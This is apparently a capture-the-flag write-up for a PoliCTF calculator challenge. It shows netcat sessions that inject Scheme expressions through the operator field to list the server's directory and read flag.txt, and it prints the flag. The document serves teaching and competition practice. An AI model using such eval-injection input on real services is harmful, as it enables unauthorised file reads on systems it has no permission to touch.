Play with this amazing calculator: calc.challenges.polictf.it:4000

**Summary:** Scheme eval

$ nc -n 131.175.17.33 4000 Write the first number:1e12345 Write the operator:+ Write the second number:1 +inf.0 |

Googling `+inf.0`

quickly gives you that it’s Scheme. Try prefix form:

$ nc -n 131.175.17.33 4000 Write the first number: Write the operator:+ 3 5 7 Write the second number: 15 |

Ok! Now let’s read the file:

$ nc -n 131.175.17.33 4000 nc -n 131.175.17.33 4000 Write the first number: Write the operator:car (directory-list) Write the second number: flag.txt $ nc -n 131.175.17.33 4000 Write the first number: Write the operator:read-line (open-input-file "flag.txt") Write the second number: cb1228e2387cc12ad30fd4243fc23a0 |

The flag: **cb1228e2387cc12ad30fd4243fc23a0**